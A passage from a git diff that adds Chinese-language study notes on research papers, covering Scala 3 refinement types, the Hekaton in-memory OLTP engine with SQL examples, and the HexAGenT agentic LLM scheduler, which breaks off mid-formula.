草稿(`2605.08369`),与 [scala/scala3#21586](https://github.com/scala/scala3/pull/21586) 工作相关。 + +--- + +## 为什么重要 + +### 1. 解决「两套类型系统」的结构性问题 + +Schmid & Kunčak 2016 年在旧版 Dotty 上做过 qualified types,但 refinement checker **与 Scala 类型检查器 largely independent**。结果是:精化类型流不进泛型代码、无法与 Scala 推断协同、需要单独的 qualifier 推断——难以扩展。 + +用户态库 **Iron**、**Refined** 走另一条路:用 opaque type + implicit evidence 模拟约束,能复用 Scala 工具链,但证明能力受 implicit 解析限制,没有专用算术/等式决策过程。 + +First-class 设计的目标是:**一条类型检查管线、一种报错语言、一种推断行为**。 + +### 2. 与 Scala 既有特性自然组合 + +精化类型是基类型的**子类型**(refinement <: base),因此: + +- **有界多态**里,`U <: T` 可以实例化为精化类型; +- **重载解析**会选更具体的签名; +- **模式匹配**可以把精化类型当 pattern,运行时分支。 + +这些在「外挂 refinement 层」的架构里往往要单独造机制;在 first-class 设计里从子类型直接推出。 + +### 3. 工业编译器上的可行性 + +不是只在论文语言里演示:作者 fork Dotty,改 bidirectional type checker 的一个 reconciliation 点,加 e-graph solver,benchmark 显示编译开销仍较低——说明「主流 OO 语言 + 丰富子类型」与 refinement 可以共存。 + +--- + +## 核心概念 + +### 1. Refinement type 的两种语法 + +**长形式**(显式 binder,用于返回值等没有现成名的情况): + +```scala +def fill[T](n: Int, v: T): { r: Vec[T] with r.len == n } = ??? +``` + +**短形式**(复用 `val`/参数名,desugar 为长形式): + +```scala +val x: (Int with x % 2 == 0) = 42 +// 等价于 +val x: { v: Int with v % 2 == 0 } = 42 +``` + +谓词 **reuse Scala 表达式语法**,但语义上限制在纯 fragment:常量、stable identifier、`val` 字段选择、构造器、布尔/比较/算术等。可变变量、引用相等类不能出现在谓词里。 + +### 2. 子类型:精化类型是基类型的子集 + +若 `p ⇒ q`(谓词蕴含),则 `{ x: T | p(x) } <: { x: T | q(x) }`。 +任意 `{ x: T | p(x) } <: T`——精化类型可当作基类型用。 + +这是 bounded polymorphism 与重载能工作的根基。 + +### 3. 部分正确性 vs 全正确性 + +- **全正确性**(Liquid Haskell、System FR):还要证明终止,否则 unsound。 +- **部分正确性**(本文):只要**能返回**,返回值满足谓词;不终止的表达式理论上可赋「假谓词」类型,但强迫求值的路径不可达。 + +取舍:Scala 是通用语言,要求终止证明 adoption 成本太高;部分正确性仍覆盖大量实践(边界检查、除零、格式验证)。 + +### 4. Mixed-precision 推断:equality facts + +若每个 `val x = 1 + 2` 都推断成 `{ v: Int | v == 1 + 2 }`,会破坏: + +- **向后兼容**(implicit / overload 依赖推断类型); +- **性能**(类型变大、比较变慢); +- **可读性**(满屏 singleton union)。 + +因此 **`val mPlusN = m + n` 仍推断为 `Int`**,但上下文记录 **`mPlusN ~ m + n`**。当后续需要 `{ r: Vec[...] with r.len == m + n }` 时,求解器用等式替换验证义务。 + +### 5. Selfification:把表达式「抬」进类型 + +检查表达式 `e: T` 是否符合期望 `{ x: T | p(x) }` 时,若 `e` 是合法谓词项,可赋 **自引用类型** `{ x: T | x == e }`——无需改变无注解代码的推断,只在需要精度的边界生效。 + +例如 `case class Range(from: Int, until: Int)` 构造结果可 selfify 为 `{ r: Range | r == Range(from, until) }`,配合 skolem 变量,求解器能展开 `?1.from`、`?1.until` 验证循环体里的下标。 + +### 6. E-graph 求解器(内置,无 SMT 依赖) + +义务形式:`P1 ⇒ P2`(假设谓词能否推出目标谓词)。 + +- 收集 qualifier、val 等式、分支条件; +- 插入 **acyclic e-graph**,做 congruence closure; +- 域相关 rewrite:`x + 0 → x`、`x % 2 == 0` 与偶数判定等。 + +优点:无平台相关 SMT 二进制、适合 IDE 实时反馈。 +代价:线性算术等理论**没有完备决策过程**——Schmid 原型里需要 LA 的 benchmark(如 `sumnat`)本文求解器过不了;与 Stainless 的全功能验证不在同一赛道。 + +### 7. 运行时兜底 + +静态证不出的谓词,程序员可显式: + +- **模式匹配**:`case id: ID => ...` 运行时检验; +- **`.runtimeChecked`**:失败抛异常(desugar 为 `if` + `asInstanceOf`)。 + +不自动插入 dynamic check,形式化更简单;且限制在一阶谓词,避开高阶 contract 的 blame assignment 问题。 + +### 8. 形式化核心(Rocq) + +核心演算在 System F<: 上扩展:依赖函数/对、和类型、并/交、精化、正等递归、fuel-bounded definitional interpreter + semantic typing。 + +作者称这是首个 mechanized soundness proof,**同时**组合:精化 + 并/交 + 双界有界多态 + 正等递归——此前 mechanization 未覆盖这一组合(Hamza 2019、Borkowski 2024、Sun 2024 等各覆盖子集)。 + +--- + +## 代码示例 + +### 示例 1:长度索引向量(依赖精化) + +经典「向量长度在类型里」: + +```scala +type Vec[T] + +object Vec: + def fill[T](n: Int, v: T): { r: Vec[T] with r.len == n } = ??? + + extension [T](a: Vec[T]) + def len: Int = ??? + + def concat(b: Vec[T]): { r: Vec[T] with r.len == a.len + b.len } = ??? + + def zip[S](b: Vec[S] with b.len == a.len): { r: Vec[(T, S)] with r.len == a.len } = ??? + +def example3(n: Int, m: Int): { r: Vec[(String, Int)] with r.len == m + n } = + val v1 = Vec.fill(n, 0) + val v2 = Vec.fill(m, 1) + val v3 = v1.concat(v2) + val mPlusN = m + n // 推断仍为 Int,但有 mPlusN ~ m + n + Vec.fill(mPlusN, "").zip(v3) +``` + +要点: + +- `zip` 要求 `b.len == a.len`——**依赖精化**(谓词引用其他绑定)。 +- `mPlusN` 不必写成精化类型;**等式事实**在 `fill(..., "").zip(v3)` 处把义务 discharge 掉。 + +### 示例 2:有界多态 + 重载解析 + +**有界多态**:精化类型实例化类型参数 + +```scala +def maximum[T: Ordering, U <: T](xs: List[U]): U = xs.reduce(max) + +type Even = { v: Int with v % 2 == 0 } + +def example1: Even = maximum(List(2, 4, 6)) +// U 推断为 Even;Even <: Int 满足 U <: T +``` + +**重载**:更具体的精化签名优先 + +```scala +def min(l: List[Int] with l.isSorted): Int = l.head // O(1) +def min(l: List[Int]): Int = l.min // O(n) + +def example2(l: List[Int] with l.isSorted): Int = min(l) +// 调用第一个 overload +``` + +若 refinement 是外挂层,`maximum` / `min` 这类 everyday Scala 代码很难「无感」组合;first-class 子类型让泛型与重载**零额外机制**生效。 + +### 示例 3:运行时精化(模式 + checked cast) + +```scala +type ID = { s: String with s.matches(idRegex) } + +"a2e7-e89b" match + case id: ID => println(s"valid: $id") + case _ => println("invalid") + +val id: ID = userInput.runtimeChecked +``` + +静态证不出时,程序员**显式**选择运行时路径——与 Flanagan 2006 hybrid checking「编译器自动插桩」不同,责任边界清晰。 + +--- + +## 与相关工作的对比(简表) + +| 系统 | Refinement 位置 | 与宿主类型系统 | 求解 / 证明 | +|------|-----------------|----------------|-------------| +| Liquid Haskell | 注释注解 | 分离 phase | 外部 SMT + 终止 | +| Schmid Dotty 2016 | 限定类型 | 独立 checker | SMT,更强算术 | +| Iron / Refined(库) | opaque + implicit | 完全 inside Scala | implicit 能力上限 | +| **本文 Scala 3** | **普通类型语法** | **同一 type checker** | **内置 e-graph** | +| F* / Dafny | first-class | 为验证设计的语言 | SMT / Dafny 求解器 | +| Stainless | 精化 + 依赖 | 独立验证器 | 强大 SMT,目标更重 | + +本文定位:**在已有丰富子类型的工业语言里**,把 refinement 做成 first-class,并用 modest 编译器改动 + 轻量求解器证明可行。 + +--- + +## 学习路径(零基础) + +1. **先理解 refinement 直觉**:集合 `{ x ∈ T | P(x) }`;子类型 = 谓词变强(集合变小)。 +2. **读 Liquid Haskell 一个例子**,再对照论文 Scala 语法——体会「一套 vs 两套类型系统」。 +3. **手画子类型格**:`{ v:Int | v>0 }` → `Int`;`Even` 如何放进 `U <: T`。 +4. **跟踪 equality fact**:写 `val a = m+n`,在需要 `len == m+n` 的地方求解器怎么用 `a ~ m+n`。 +5. **了解 selfification 触发点**:期望类型是 qualified type 时,表达式如何变成 `{ x:T | x==e }`。 +6. **区分静态义务 vs `.runtimeChecked`**:哪些证明是编译期,哪些是程序员承担的动态检查。 +7. **若学类型论**:读 §3 的 F<: + 精化 + 正等递归;对比 Hamza System FR 的全正确性假设。 +8. **若学编译器**:Dotty bidirectional checking 的 reconciliation 点、e-graph congruence closure(Nelson-Oppen 传统)。 + +--- + +## 局限与开放问题 + +- **求解器能力**:无完备线性算术;复杂不变量仍可能证不出,需 `.runtimeChecked` 或弱化规范。 +- **谓词纯度**:目前不传递检查被调用函数是否纯;未来或与 Scala 3 capture tracking / safe mode 集成。 +- **JVM 擦除**:参数化精化如 `List[ID]` 的模式匹配受限;需 workaround(如 `filter` + 精化元素)。 +- **高阶谓词**:运行时检查仅限一阶;高阶 contract 仍是 future work。 +- **草稿阶段**:论文写「coming months will update」;API 以最终 Scala 3 PR 为准。 + +--- + +## 一句话总结 + +**Refinement type 不是编译器外的「验证注释」,而是 Scala 3 类型语法里的普通公民**——与子类型、泛型、重载、模式匹配同一套规则;通过 equality facts 与 selfification 保持推断兼容,用内置 e-graph discharge 义务,并在 Rocq 里证明核心 soundness。对学习者而言,这篇论文的价值在于:它把「轻量形式化验证」从专用语言/插件,推到了**你已经在写的 Scala 类型**里。 + +--- + +## 参考链接 + +- 论文 HTML:[arXiv:2605.08369](https://arxiv.org/html/2605.08369v1) +- 论文 PDF:[https://arxiv.org/pdf/2605.08369](https://arxiv.org/pdf/2605.08369) +- 相关工作 PR:[scala/scala3#21586](https://github.com/scala/scala3/pull/21586) +- 历史背景:Liquid Types(Rondon et al. 2008)、Liquid Haskell(Vazou et al. 2014) +- 形式化参考:System FR(Hamza et al. 2019)、Schmid SMT-based qualified types for Scala(2016) diff --git a/src/content/docs/papers/hekaton.md b/src/content/docs/papers/hekaton.md new file mode 100644 index 000000000..10fd95628 --- /dev/null +++ b/src/content/docs/papers/hekaton.md @@ -0,0 +1,320 @@ +--- +title: Hekaton — SQL Server 内存优化 OLTP 引擎 +来源: 'Diaconu et al., "Hekaton: SQL Server''s Memory-Optimized OLTP Engine", SIGMOD 2013' +日期: 2026-06-13 +子分类: 存储与查询 +分类: 数据库 +provenance: pipeline-v3 +--- + +## 从日常类比开始:给收银台换一套「内存工作台」 + +想象一家连锁超市的收银系统。传统 SQL Server 像**带保险柜的柜台**:每笔交易都要打开抽屉(页锁)、在账本里找页码(B-tree 页 latch)、写完后还得把整页抄进保险柜(刷盘)。顾客一多,大家就在抽屉和页锁前排长队——CPU 核心越多,抢同一把锁的人反而越多,吞吐上不去。 + +Hekaton 的思路是:**在柜台旁边加一张内存工作台**。热数据(订单行、库存扣减、会员积分)直接放在工作台上,用 T-SQL 照常操作;冷数据(历史报表、归档)仍留在保险柜里。工作台不抢页锁、不靠分区把顾客赶到不同窗口——任何收银员(线程)都能直接摸到任意一行,靠**乐观多版本**解决「两人同时改同一商品」的冲突。 + +更狠的一步:针对只碰内存表的 stored procedure,SQL Server 把 T-SQL **编译成原生机器码**——相当于把「查价 → 扣库存 → 打小票」写成一条专用流水线,而不是每步都走通用解释器。 + +论文发表于 SIGMOD 2013,产品化后成为 SQL Server 2014 的 **In-Memory OLTP** 功能。Hekaton 不是独立数据库,而是嵌在 SQL Server 里的第二套存储/执行引擎。 + +--- + +## 是什么 + +**Hekaton**(希腊语「百手巨人」)是 Microsoft 为 **OLTP + 大内存 + 多核** 设计的内存数据库引擎,核心主张: + +1. **声明即用**:`CREATE TABLE ... MEMORY_OPTIMIZED`,无需换 DBMS。 +2. **混合访问**:单条 SQL / 单事务可同时读写 Hekaton 表与传统磁盘表。 +3. **原生编译**:只引用 Hekaton 表的 stored procedure 可编译为 C 再链接成 DLL,显著降低每请求指令数。 +4. **高并发**:性能关键路径上**无 latch、无锁表**;用 latch-free 索引 + 乐观 MVCC。 +5. **完整 ACID**:内存驻留但仍 durable——checkpoint + 日志,崩溃可恢复。 + +论文作者团队:Cristian Diaconu、Craig Freedman、Per-Åke Larson 等(Microsoft Research / SQL Server 组)。 + +--- + +## 为什么传统 SQL Server 不够 + +论文开篇做过「乐观上界」分析:即便把现有引擎的**扩展性**和 **CPI(每指令周期)** 都优化到极致,吞吐最多也就 **3–4×**;要 **10–100×** 必须换存储与执行模型。瓶颈来自: + +| 瓶颈 | 表现 | +|------|------| +| **Latch / spinlock** | B-tree 页、缓冲池热点;核数 >6 时 CPU 利用率卡在 ~40% | +| **锁管理器** | 行锁/页锁竞争、锁表本身成为共享状态 | +| **日志尾** | 高并发写时 transaction log 末尾串行 | +| **解释执行** | 通用 T-SQL 路径指令多、分支多 | + +Hekaton 的三板斧:**少指令**(原生编译)、**少等待**(latch-free + 无锁并发控制)、**数据在内存**(按行存储、索引为内存结构设计)。 + +设计还刻意**不做数据分区**来换扩展性——论文认为单机内存能放下时,不分区反而更快;扩展性靠无锁结构而非 sharding。 + +--- + +## 核心概念 + +### 1. 双引擎共存(Regular vs Hekaton) + +- **Regular 表**:传统页式存储、B-tree、buffer pool、WAL。 +- **Hekaton 表**:行存于内存;每表至少一个索引(**无堆表**);支持 **hash 索引**(点查)和 **Bw-tree 范围索引**(范围扫描)。 + +用户可渐进迁移:先改最热的一张表,再编译最热的一个 procedure,其余不动。 + +### 2. 行格式与嵌入式索引链 + +Hekaton 每行物理上三段: + +1. **用户列数据** +2. **索引链接列**:每个索引一列,把相同键的行串成链表(类似 Linux kernel 的 intrusive list)——更新索引时只改指针,不必像 B-tree 那样搬页 +3. **MVCC 头**:逻辑 begin/end timestamp(版本可见区间) + +读操作在索引链上扫描同键所有版本,只返回 begin ≤ 读时间戳 < end 的版本。 + +### 3. Latch-free 索引 + +Hash 与 Bw-tree 的实现保证多线程并发 insert/delete/lookup 时**不用 latch**。这与「无锁并发控制」不同: + +- **Latch**:保护物理结构(页、桶)——短临界区,可阻塞 +- **Lock**:保护逻辑事务隔离——Hekaton 在事务层不用传统锁表 + +### 4. 乐观多版本并发控制(O-MVCC) + +更新 = **删除旧版本 + 插入新版本**(copy-on-write 语义): + +- DELETE:先把 end timestamp 设为事务 ID(未提交),提交后改为 commit timestamp +- INSERT:begin timestamp 同样先写事务 ID,提交后定稿 +- 读可能依赖未提交版本 → 记录 **commit dependency**;依赖方 abort 会级联 + +隔离级别映射: + +| 提交前校验 | 隔离级别 | +|------------|----------| +| 不校验 phantom / read stability | Snapshot | +| 校验 read stability | Repeatable Read | +| 两者都校验 | Serializable | + +每个事务有 **read timestamp**(通常 = begin timestamp)和 **commit timestamp**;提交时验证 read set 仍有效,并按 scan set 重扫以防 phantom。 + +### 5. 原生编译(Native Compilation) + +流程:T-SQL → 查询优化器 → **MAT**(Mixed Abstract Syntax Tree,混合元数据/命令式/表达式/计划)→ **PIT**(Pure Imperative Tree)→ C 代码 → 编译链接进引擎。 + +关键优化: + +- 查询计划编译成**单个函数**,算子用 **label + goto** 串联,避免递归调用栈 +- 编译期类型已知 → 消除动态 dispatch +- 仅 Hekaton 表、固定 schema、单事务内的 procedure 可 natively compile;复杂算子(sort、部分内置函数)仍走解释路径 + +### 6. 持久化:无 WAL 页刷、有日志与 Checkpoint + +内存表不刷「数据页」,但仍 durable: + +- **Log stream**:每事务提交写**一条**记录(批量刷盘) +- **Checkpoint stream**:**data stream**(某逻辑时间段内所有 insert)+ **delta stream**(同段内 delete 的版本 ID) +- 索引操作**不记日志**——恢复时重建索引,把 bulk 成本挪到 recovery + +恢复时并行处理 data/delta 对。 + +### 7. 垃圾回收(GC) + +版本变垃圾当: + +1. 创建它的 transaction rollback;或 +2. 已被 delete,且所有活跃事务的 read timestamp 都晚于 delete 时间 + +- **Online GC**:索引扫描时顺手 unlink 垃圾版本(热路径自清理) +- **Offline GC**:后台线程周期性扫「冷角落」,与事务处理交错以免堆积 + +--- + +## 代码示例 + +### 示例 1:创建内存优化表与索引 + +SQL Server 2014+ 语法(论文思想的直接产品化;具体选项随版本略有差异): + +```sql +-- 需要先启用数据库级 In-Memory OLTP 文件组(略) +CREATE TABLE dbo.OrderLine ( + OrderId INT NOT NULL, + LineNo INT NOT NULL, + ProductId INT NOT NULL, + Qty INT NOT NULL, + UnitPrice DECIMAL(10,2) NOT NULL, + CONSTRAINT PK_OrderLine PRIMARY KEY NONCLUSTERED + HASH (OrderId, LineNo) WITH (BUCKET_COUNT = 1000000) +) WITH ( + MEMORY_OPTIMIZED = ON, + DURABILITY = SCHEMA_AND_DATA -- 或 SCHEMA_ONLY(无持久化,更快) +); + +-- 范围索引:按 ProductId 查某商品所有订单行 +CREATE NONCLUSTERED INDEX IX_OrderLine_Product + ON dbo.OrderLine (ProductId) + WITH (BUCKET_COUNT = 500000); +``` + +要点: + +- 必须有 **PRIMARY KEY**(hash 或 range) +- `BUCKET_COUNT` 影响 hash 冲突与内存;过小则链变长 +- `DURABILITY = SCHEMA_ONLY` 适合纯缓存型数据(论文中的非 durable 场景) + +### 示例 2:原生编译 Stored Procedure + +```sql +CREATE PROCEDURE dbo.PlaceOrder + @OrderId INT, + @ProductId INT, + @Qty INT, + @UnitPrice DECIMAL(10,2) +WITH NATIVE_COMPILATION, SCHEMABINDING, EXECUTE AS OWNER +AS +BEGIN ATOMIC WITH ( + TRANSACTION ISOLATION LEVEL = SNAPSHOT, + LANGUAGE = N'us_english' +) + DECLARE @LineNo INT; + + SELECT @LineNo = ISNULL(MAX(LineNo), 0) + 1 + FROM dbo.OrderLine + WHERE OrderId = @OrderId; + + INSERT INTO dbo.OrderLine (OrderId, LineNo, ProductId, Qty, UnitPrice) + VALUES (@OrderId, @LineNo, @ProductId, @Qty, @UnitPrice); +END; +GO +``` + +约束(与论文一致): + +- `NATIVE_COMPILATION` + `SCHEMABINDING` + `BEGIN ATOMIC`:整个 procedure 在一个编译单元、单事务内 +- 只能访问 **memory-optimized 表**;引用磁盘表则退化为 interpreted interop +- 隔离级别在 procedure 头声明;编译器针对 snapshot 等路径生成专用代码 + +### 示例 3:混合事务(Hekaton + Regular) + +Interop 是论文强调的产品优势——迁移不必一步到位: + +```sql +BEGIN TRAN; + + -- 内存表:高频订单行 + UPDATE dbo.OrderLine WITH (SNAPSHOT) + SET Qty = Qty - 1 + WHERE OrderId = @OrderId AND ProductId = @ProductId; + + -- 磁盘表:审计日志(低频、可归档) + INSERT INTO dbo.AuditLog (EventTime, OrderId, Action) + VALUES (SYSUTCDATETIME(), @OrderId, N'decrement'); + +COMMIT; +``` + +Hekaton 路径走 O-MVCC;磁盘表仍走传统锁与 WAL——优化器/事务协调器负责统一 commit。 + +--- + +## 架构一图 + +```text + ┌─────────────────────────────────┐ + │ T-SQL / ODBC │ + └───────────────┬─────────────────┘ + │ + ┌─────────────────────┼─────────────────────┐ + ▼ ▼ ▼ + ┌────────────────┐ ┌────────────────┐ ┌────────────────┐ + │ Interpreted │ │ Native Compiled│ │ Regular Engine│ + │ (interop) │ │ Procedures │ │ (disk tables) │ + └────────┬───────┘ └────────┬───────┘ └────────┬───────┘ + │ │ │ + └──────────┬─────────┘ │ + ▼ │ + ┌──────────────────────┐ │ + │ Hekaton Engine │◄── cross-engine ─┘ + │ latch-free indexes │ transactions + │ O-MVCC + row store │ + └──────────┬───────────┘ + │ + ┌───────────────┼───────────────┐ + ▼ ▼ ▼ + ┌──────────┐ ┌──────────┐ ┌──────────┐ + │ In-mem │ │ Log / │ │ Checkpoint│ + │ indexes │ │ durable │ │ streams │ + └──────────┘ └──────────┘ └──────────┘ +``` + +--- + +## 实验结果(论文 §9 摘要) + +测试环境:Xeon X5650,最高 12 核;表约 6 列 × 2000 万行。 + +### CPU 效率(RandomLookups / RandomUpdates) + +| 场景 | 相对传统引擎 | +|------|----------------| +| 每次 10+ 次点查 | ~**20×** 更少 CPU cycles(约 5% cycles) | +| 单次点查 | ~10.8× | +| 每次 100+ 行更新 | ~**30×** | +| 绝对吞吐 | 单核 ~270 万次 lookup/s;~190 万次 update/s(写缓存开启测 CPU,非磁盘延迟) | + +Hekaton 日志量在该更新基准上比 regular 少约 **57%**(行级、无页镜像)。 + +### 扩展性(高争用 OLTP 模拟) + +| 配置 | 12 核吞吐 (txn/s) | 相对 regular | +|------|-------------------|--------------| +| Regular SQL Server | ~2,312 | 1×(2→12 核仅 2.3×) | +| Hekaton interop | ~7,709 | ~3.3× | +| Hekaton + native compile | ~**36,375** | ~**15.7×** | + +Hekaton 在 2→12 核上约 **5.1×** 线性扩展;regular 受 latch 限制明显。 + +--- + +## 与后续技术的关系 + +| 论文概念 | 后续影响 | +|----------|----------| +| 嵌入式双引擎 | SQL Server 2014 **In-Memory OLTP** | +| Bw-tree | 微软后续多篇 Bw-tree 论文;影响 main-memory 索引设计 | +| 原生编译 T-SQL | 限制较多但成为「极致 OLTP」卖点 | +| 无分区扩展 | 与 NewSQL 分片路线对比;Hekaton 主打** scale-up** | +| O-MVCC + 无锁结构 | 与 Silo、LMDB 等内存 OLTP 设计同代;商业产品少见地完整落地 | + +读 Hekaton 有助于理解:**为什么「内存数据库」在 2010 年代必须重新做索引和并发控制,而不是只把 buffer pool 变大**。 + +--- + +## 局限与论文未覆盖点 + +- **容量**:受单机内存限制;超大 working set 仍需 regular 表或分库。 +- **Native procedure 约束**:schema 固定、算子子集、单事务——复杂 ETL 仍用 interpreted。 +- **索引重建恢复**:缩短日志但拉长 recovery;适合 OLTP 短恢复窗口假设。 +- **2013 年后硬件**:NVMe、持久内存、RDMA 等未在本文讨论。 + +--- + +## 自检清单(零基础读完应能回答) + +1. Hekaton 与「单独买一个内存数据库」相比,集成进 SQL Server 的四个产品级好处是什么? +2. **Latch-free** 与 **lock-free 事务(无锁表)** 分别解决哪类竞争? +3. 为什么 UPDATE 在 Hekaton 里是 delete + insert?对索引链表有什么影响? +4. 原生编译为什么用 goto 串计划而不是函数调用树? +5. 若只把表改成 `MEMORY_OPTIMIZED` 但不编译 procedure,论文实验里大约能拿到多少倍吞吐提升? + +--- + +## 延伸阅读 + +- 同会议 / 同期:Bw-tree 原始论文(Levandoski et al.) +- 对比阅读:Silo(MIT,decomposition of OLTP)、H-Store / VoltDB 分区 OLTP +- 产品文档:Microsoft Docs — In-Memory OLTP (Memory-Optimized Tables) +- 论文 PDF:[ACM DOI 10.1145/2463676.2463710](https://doi.org/10.1145/2463676.2463710) + +--- + +## 一句话总结 + +**Hekaton 把 OLTP 热路径搬进内存、去掉 latch 与传统锁、用乐观 MVCC 保隔离,并把 T-SQL 编译成机器码——在不换 DBMS 的前提下,让 SQL Server 在 multicore 上从「抢锁排队」变成「多收银员共用一个无抽屉锁的工作台」。** diff --git a/src/content/docs/papers/hexagent-agentic-scheduling.md b/src/content/docs/papers/hexagent-agentic-scheduling.md new file mode 100644 index 000000000..4c54c7d68 --- /dev/null +++ b/src/content/docs/papers/hexagent-agentic-scheduling.md @@ -0,0 +1,426 @@ +--- +title: HexAGenT — 面向 Agentic LLM 的工作流与异构感知调度 +来源: 'You Peng et al., "HexAGenT: Efficient Agentic LLM Serving via Workflow- and Heterogeneity-Aware Scheduling", arXiv:2605.16637, 2026; https://arxiv.org/abs/2605.16637' +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:外卖平台该按「单」排,还是按「整单送达」排? + +想象你经营一家连锁厨房,专门服务「会自己加菜的 AI 助手」——每个用户请求不是一次对话,而是一道**多步骤套餐**: + +1. **规划**:先让 LLM 想下一步做什么(plan)。 +2. **调工具**:查数据库、跑代码、调 API(tool use)。 +3. **分支**:并行查三个候选方案(tree search / LATS)。 +4. **汇总**:把中间结果合成最终回答(synthesis)。 + +顾客体验的是**整单送达时间**——从下单到最后一道菜上桌——而不是「某一道菜单独有多快」。更麻烦的是:**菜单是边做边揭晓的**。你只知道第一步要炒什么;等第一步出锅、工具返回结果后,才知道后面还要不要加菜、加几道。 + +传统 LLM 推理集群(vLLM、SGLang)像按**单道菜**排队的食堂:先来先服务(FCFS),哪台 GPU 空闲就扔过去。这在「一问一答」的聊天场景够用,但在 Agent 场景会出三类典型问题: + +| 类比 | Agent serving 现实 | +|------|---------------------| +| 把 A 顾客的第三道菜插到 B 顾客第一道菜前面 | 不同 workflow 的 LLM call 被 per-call FCFS 乱序穿插,拖慢关键路径 | +| 所有菜都在同一口大锅炒 | Prefill(算 prompt)和 Decode(逐 token 生成)混在同一 GPU,资源利用差 | +| 新厨师和老厨师混用,却按「谁空谁上」分配 | A100/H100/H200 混部集群里,没考虑各卡 prefill/decode 速度差异和 KV 搬运带宽 | + +**HexAGenT**(**Hex**erogeneous **A**gentic LLM Servin**G** with workflow-aware scheduli**T**)要回答的核心问题是:**在 Prefill–Decode(P-D)分离、GPU 异构的集群上,怎样调度「在线逐步展开的 Agent 工作流 DAG」,让整个 workflow 在 SLO 内完成,而不是只优化单次 LLM 调用的延迟?** + +论文作者来自 HKUST、Webank、武汉大学、清华等;实现基于 **SGLang v0.5.9** 的 P-D 分离 serving,并在 A100/H100/H200 混部集群上验证。 + +--- + +## 是什么 + +**HexAGenT** 是一个面向 **Agentic LLM 在线 serving** 的全局调度器,部署在 P-D 分离架构的 gateway/router 层,核心能力包括: + +1. **在线 DAG 抽象**:每个用户请求是一个**运行时逐步揭示**的有向无环图(DAG),节点是 LLM call,边是依赖(父 call 完成或 tool 返回后才 reveal 子 call)。 +2. **Workflow horizon**:为每个 workflow 维护「若当前已揭示子图独占集群跑完需要多久」的估计 \(H_w(t)\),作为**端到端 SLO 锚点**。 +3. **Projected-risk 优先级**:就绪 call 按「预计违反 horizon 的风险」排序,而非单纯 FCFS 或最短 job 优先。 +4. **联合 Prefill–Decode 放置**:同时为每个 call 选 prefill 实例、decode 实例、本地队列优先级,并考虑 KV 容量与跨阶段传输延迟。 +5. **异构感知**:不同 GPU 类型的 prefill 速度、decode 速度、跨卡 KV 传输带宽都进入估计模型。 + +一句话:**HexAGenT 把 Agent serving 从「调度独立 LLM 请求」升级为「调度在线展开的工作流,并在异构 P-D 集群上做联合放置与排队」。** + +--- + +## 为什么重要 + +### 1. 用户感知单位变了:workflow,不是 call + +ReAct、LATS、BFCL 等 Agent 范式下,一次用户请求常展开为**多步、有依赖、可分支**的 LLM 调用链。用户等的是「任务完成」,调度器若只优化单次 call 延迟,可能在关键路径上饿死整个 workflow。 + +### 2. P-D 分离 + 异构集群是经济现实 + +- **Prefill** 吃算力(一次性处理长 prompt)。 +- **Decode** 吃显存与 KV cache(逐 token 生成)。 +- 生产集群常混用 A100/H100/H200 以复用存量并控制成本。 + +DistServe、Splitwise 解决了「阶段分离」,但没解决「在线 Agent DAG + 异构放置 + workflow SLO」的组合问题。 + +### 3. 现有系统的缺口 + +| 系统类型 | 代表 | 缺什么 | +|---------|------|--------| +| 请求级 serving | vLLM, SGLang, ORCA | 无 workflow 级 SLO 目标 | +| P-D 分离 | DistServe, Splitwise | 无在线 DAG、异构 workflow 调度 | +| Program-aware | Parrot, Hermes, Autellix, Continuum | 未同时处理在线 reveal + 异构 P-D + decode 容量约束 | + +论文 characterization 实验表明:仅把 per-call FCFS 换成 workflow-level FCFS,Req95 平均降 **31.4%**;再加上 HexAGenT 的异构放置,Req95 再降 **26.9%**(相对 Workflow-FCFS)。 + +--- + +## 核心概念 + +### 1. 在线揭示的工作流 DAG + +工作流 \(G_w = (V, E)\): + +- **节点** \(v \in V\):一次 LLM call(带 input length、预估 output length、workflow id)。 +- **边** \((u, v) \in E\):\(v\) 必须等 \(u\)(及可能的外部 tool)完成后才可调度。 + +**关键性质**:到达时只有**源节点**可见;父节点完成 → 子节点进入 **runnable frontier**(就绪前沿)。调度器永远在对「当前已揭示子图」做决策,而非静态 DAG。 + +```python +from dataclasses import dataclass, field +from typing import Dict, List, Set +import time + +@dataclass +class LLMCall: + call_id: str + workflow_id: str + prompt_tokens: int + parents: List[str] = field(default_factory=list) + children: List[str] = field(default_factory=list) + status: str = "pending" # pending | prefill | decode | done + +class OnlineWorkflowDAG: + """Agent 工作流:子节点随父节点完成而在线 reveal。""" + + def __init__(self, workflow_id: str, source_calls: List[LLMCall]): + self.workflow_id = workflow_id + self.arrival_time = time.time() + self.calls: Dict[str, LLMCall] = {c.call_id: c for c in source_calls} + self.done: Set[str] = set() + + def runnable_calls(self) -> List[LLMCall]: + """就绪前沿:所有 parent 已完成、自身未开始的 call。""" + ready = [] + for c in self.calls.values(): + if c.status != "pending": + continue + if all(p in self.done for p in c.parents): + ready.append(c) + return ready + + def on_call_complete(self, call_id: str, revealed_children: List[LLMCall]): + self.done.add(call_id) + self.calls[call_id].status = "done" + for child in revealed_children: + self.calls[child.call_id] = child # 在线 reveal 新节点 +``` + +### 2. Standalone horizon \(H_w(t)\) + +\(H_w(t)\) = 在**同一 P-D 集群**上,若 workflow \(w\) 在时刻 \(t\) 已揭示的子图 \(G_w(t)\) **独占运行**所需的完成时间(makespan)。 + +- 工作流刚到达时,只知道第一步 → \(H_w(t)\) 较小。 +- 新 call reveal 或 tool 返回 → 子图变大 → \(H_w(t)\) **动态上调**。 +- 真实服务时间观测到后,可用实测值修正估计。 + +这是 HexAGenT 的「deadline 代理」:优化目标不是绝对秒数,而是 **scaled-SLO**——完成时间 \(C_w\) 是否 ≤ \(\alpha \cdot H_w\)。 + +### 3. Scaled-SLO 与 Req95 / Req99 + +对每个 workflow \(w\),若 \(C_w \leq \alpha H_w\) 则视为满足 SLO。 + +- **Req95**:使 ≥95% workflow 达标的**最小** \(\alpha\)。 +- **Req99**:使 ≥99% workflow 达标的**最小** \(\alpha\)。 + +\(\alpha\) 越小说明调度越「紧」——同样硬件下更容易按时完成整条 Agent 链。HexAGenT 在异构集群上相对最强基线,Req95 平均降 **20.1%**,Req99 平均降 **33.0%**(最大分别 **45.0%** / **80.5%**)。 + +### 4. Projected ratio(投影风险比) + +对就绪 call \(c\)(属于 workflow \(w\)),在阶段 \(s \in \{\mathrm{Prefill}, \mathrm{Decode}\}\): + +\[ +R_s(c, t) = \frac{(t - a_w) + 